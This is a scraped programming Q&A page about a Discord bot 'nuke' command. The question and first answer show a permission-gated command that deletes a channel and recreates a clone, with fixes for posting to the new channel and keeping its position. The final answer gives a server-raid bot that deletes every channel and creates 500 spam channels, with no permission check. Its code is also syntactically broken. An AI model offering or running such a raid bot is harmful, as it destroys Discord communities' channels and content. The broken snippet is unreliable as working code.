I've made a nuke command in my discord bot, but I have 2 problems with it. First is how can i send a message to just created channel, and second is how can I make channel in same position as "original".
Here's my code:
# nuke
@client.command()
@commands.has_permissions(ban_members=True)
async def nuke(ctx):
embed = discord.Embed(
colour=discord.Colour.blue,
title=f":boom: Channel ({ctx.channel.name}) has been nuked :boom:",
description=f"Nuked by: {ctx.author.name}#{ctx.author.discriminator}"
)
embed.set_footer(text=f"{ctx.guild.name} • {datetime.strftime(datetime.now(), '%d.%m.%Y at %I:%M %p')}")
await ctx.channel.delete(reason="nuke")
await ctx.channel.clone(reason="nuke")
await ctx.send(embed=embed)
You can store the cloned channel in a variable:
# nuke
@client.command()
@commands.has_permissions(ban_members=True)
async def nuke(ctx):
embed = discord.Embed(
colour=discord.Colour.blue,
title=f":boom: Channel ({ctx.channel.name}) has been nuked :boom:",
description=f"Nuked by: {ctx.author.name}#{ctx.author.discriminator}"
)
embed.set_footer(text=f"{ctx.guild.name} • {datetime.strftime(datetime.now(), '%d.%m.%Y at %I:%M %p')}")
await ctx.channel.delete(reason="nuke")
channel = await ctx.channel.clone(reason="nuke")
await channel.send(embed=embed)
The channel should be created in the same position as the original one, if not:
pos = ctx.channel.position
await ctx.channel.delete()
channel = await ctx.channel.clone()
await channel.edit(position=pos)
Here a nuke command I made
from discord.ext import commands
client = commands.Bot(command_prefix=$)
token = "nuke bot token"
@client.command(aliases=[destroy, wizz])
async def nuke(ctx):
await ctx.send("LOL THIS SHIT IS GETTING NUKED)
for channel in ctx.guild.channels:
await channel.delete()
print(f"Deleted {ctx.guild.channel}")
for i in range(500):
guild = ctx.message.guild
await guild.create_text_channel("nuked")
client.run(token, bot=True)
The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.